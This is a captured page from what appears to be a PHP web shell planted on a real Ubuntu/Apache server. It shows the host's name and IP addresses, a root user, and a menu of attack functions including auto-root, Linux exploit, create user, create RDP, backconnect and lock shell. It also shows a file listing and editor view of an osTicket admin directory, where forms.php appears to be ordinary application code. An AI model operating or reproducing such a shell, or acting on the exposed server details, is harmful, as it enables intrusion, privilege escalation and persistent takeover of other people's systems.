Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
scp /
[ HOME SHELL ]
Name
Size
Permission
Action
apps
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
admin.inc.php
2.77
KB
-rw-r--r--
admin.php
70
B
-rw-r--r--
ajax.php
15.5
KB
-rw-r--r--
apikeys.php
5.44
KB
-rw-r--r--
audits.php
939
B
-rw-r--r--
autocron.php
2.32
KB
-rw-r--r--
banlist.php
7.15
KB
-rw-r--r--
canned.php
8.51
KB
-rw-r--r--
categories.php
7.2
KB
-rw-r--r--
dashboard.php
1.75
KB
-rw-r--r--
departments.php
13.45
KB
-rw-r--r--
directory.php
797
B
-rw-r--r--
emails.php
3.77
KB
-rw-r--r--
emailsettings.php
1.32
KB
-rw-r--r--
emailtest.php
5.49
KB
-rw-r--r--
export.php
757
B
-rw-r--r--
faq.php
6.7
KB
-rw-r--r--
filters.php
6.83
KB
-rw-r--r--
forms.php
6.82
KB
-rw-r--r--
helptopics.php
11.05
KB
-rw-r--r--
index.php
548
B
-rw-r--r--
kb.php
1.05
KB
-rw-r--r--
lists.php
8.39
KB
-rw-r--r--
login.php
3.7
KB
-rw-r--r--
logo.php
1.32
KB
-rw-r--r--
logout.php
1.12
KB
-rw-r--r--
logs.php
2.25
KB
-rw-r--r--
orgs.php
4.86
KB
-rw-r--r--
pages.php
6.75
KB
-rw-r--r--
plugins.php
2.05
KB
-rw-r--r--
profile.php
2.06
KB
-rw-r--r--
pwreset.php
2.99
KB
-rw-r--r--
queues.php
3.65
KB
-rw-r--r--
roles.php
5.84
KB
-rw-r--r--
schedules.php
2.49
KB
-rw-r--r--
settings.php
2
KB
-rw-r--r--
slas.php
6.07
KB
-rw-r--r--
staff.inc.php
4.83
KB
-rw-r--r--
staff.php
8.79
KB
-rw-r--r--
system.php
772
B
-rw-r--r--
tasks.php
9.96
KB
-rw-r--r--
teams.php
5.93
KB
-rw-r--r--
templates.php
9.04
KB
-rw-r--r--
tickets.php
23.35
KB
-rw-r--r--
upgrade.php
3.32
KB
-rw-r--r--
users.php
9.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forms.php
<?php require('admin.inc.php'); require_once(INCLUDE_DIR."/class.dynamic_forms.php"); $form=null; if($_REQUEST['id'] && !($form=DynamicForm::lookup($_REQUEST['id']))) $errors['err']=sprintf(__('%s: Unknown or invalid ID.'), __('custom form')); if($_POST) { $_POST = Format::htmlchars($_POST, true); $_POST['instructions'] = Format::htmldecode($_POST['instructions']); $fields = array('title', 'notes', 'instructions'); $required = array('title'); $max_sort = 0; $form_fields = array(); $names = array(); switch(strtolower($_POST['do'])) { case 'update': foreach ($fields as $f) if (in_array($f, $required) && !$_POST[$f]) $errors[$f] = sprintf(__('%s is required'), mb_convert_case($f, MB_CASE_TITLE)); elseif (isset($_POST[$f])) $form->set($f, $_POST[$f]); $form->save(true); foreach ($form->getDynamicFields() as $field) { $id = $field->get('id'); if ($_POST["delete-$id"] == 'on' && $field->isDeletable()) { if ($_POST["delete-data-$id"]) { DynamicFormEntryAnswer::objects() ->filter(array('field_id'=>$id)) ->delete(); } $field->delete(); // Don't bother updating the field continue; } if (isset($_POST["type-$id"]) && $field->isChangeable()) $field->set('type', $_POST["type-$id"]); if (isset($_POST["name-$id"]) && !$field->isNameForced()) $field->set('name', trim($_POST["name-$id"])); # TODO: make sure all help topics still have all required fields $field->setRequirementMode($_POST["visibility-$id"]); foreach (array('sort','label') as $f) { if (isset($_POST["$f-$id"])) { $field->set($f, $_POST["$f-$id"]); } } if (in_array($field->get('name'), $names)) $field->addError(__('Field variable name is not unique'), 'name'); // Subject (Issue Summary) must always have data if ($form->get('type') == 'T' && $field->get('name') == 'subject') { if (($f = $field->getField(false)->getImpl()) && !$f->hasData()) $field->addError(__('The issue summary must be a field that supports user input, such as short answer'), 'type'); } if ($field->get('name')) $names[] = $field->get('name'); if ($field->isValid()) $form_fields[] = $field; else # notrans (not shown) $errors["field-$id"] = __('Field has validation errors'); // Keep track of the last sort number $max_sort = max($max_sort, $field->get('sort')); } $type = array('type' => 'edited'); Signal::send('object.edited', $form, $type); break; case 'add': $form = DynamicForm::create(); foreach ($fields as $f) { if (in_array($f, $required) && !$_POST[$f]) $errors[$f] = sprintf('%s is required', mb_convert_case($f, MB_CASE_TITLE)); elseif (isset($_POST[$f])) $form->set($f, $_POST[$f]); } $type = array('type' => 'created'); Signal::send('object.created', $form, $type); break; case 'mass_process': if(!$_POST['ids'] || !is_array($_POST['ids']) || !count($_POST['ids'])) { $errors['err'] = sprintf(__('You must select at least %s.'), __('one custom form')); } else { $count = count($_POST['ids']); switch(strtolower($_POST['a'])) { case 'delete': $i=0; foreach($_POST['ids'] as $k=>$v) { if(($t=DynamicForm::lookup($v)) && $t->delete()) $i++; } if ($i && $i==$count) $msg = sprintf(__('Successfully deleted %s.'), _N('selected custom form', 'selected custom forms', $count)); elseif ($i > 0) $warn = sprintf(__('%1$d of %2$d %3$s deleted'), $i, $count, _N('selected custom form', 'selected custom forms', $count)); elseif (!$errors['err']) $errors['err'] = sprintf(__('Unable to delete %s.'), _N('selected custom form', 'selected custom forms', $count)); break; } } break; } if ($form) { for ($i=0; isset($_POST["sort-new-$i"]); $i++) { if (!$_POST["label-new-$i"]) continue; $field = DynamicFormField::create(array( 'sort'=>$_POST["sort-new-$i"] ? $_POST["sort-new-$i"] : ++$max_sort, 'label'=>$_POST["label-new-$i"], 'type'=>$_POST["type-new-$i"], 'name'=>trim($_POST["name-new-$i"]), )); $field->setRequirementMode($_POST["visibility-new-$i"]); $form->fields->add($field); if (in_array($field->get('name'), $names)) $field->addError(__('Field variable name is not unique'), 'name'); if ($field->isValid()) { $form_fields[] = $field; if ($N = $field->get('name')) $names[] = $N; } else $errors["new-$i"] = $field->errors(); } if (!$errors) { $form->save(true); foreach ($form_fields as $field) { $field->form = $form; $field->save(); } // No longer adding a new form unset($_REQUEST['a']); } } if ($errors) $errors['err'] = sprintf(__('Unable to commit %s. Check validation errors'), __('this custom form')); else $msg = sprintf(__('Successfully updated %s.'), __('this custom form')); } $page='dynamic-forms.inc.php'; if($form || ($_REQUEST['a'] && !strcasecmp($_REQUEST['a'],'add'))) $page='dynamic-form.inc.php'; $ost->addExtraHeader('<meta name="tip-namespace" content="forms" />', "$('#content').data('tipNamespace', 'forms');"); $nav->setTabActive('manage'); require(STAFFINC_DIR.'header.inc.php'); require(STAFFINC_DIR.$page); include(STAFFINC_DIR.'footer.inc.php'); ?>
Close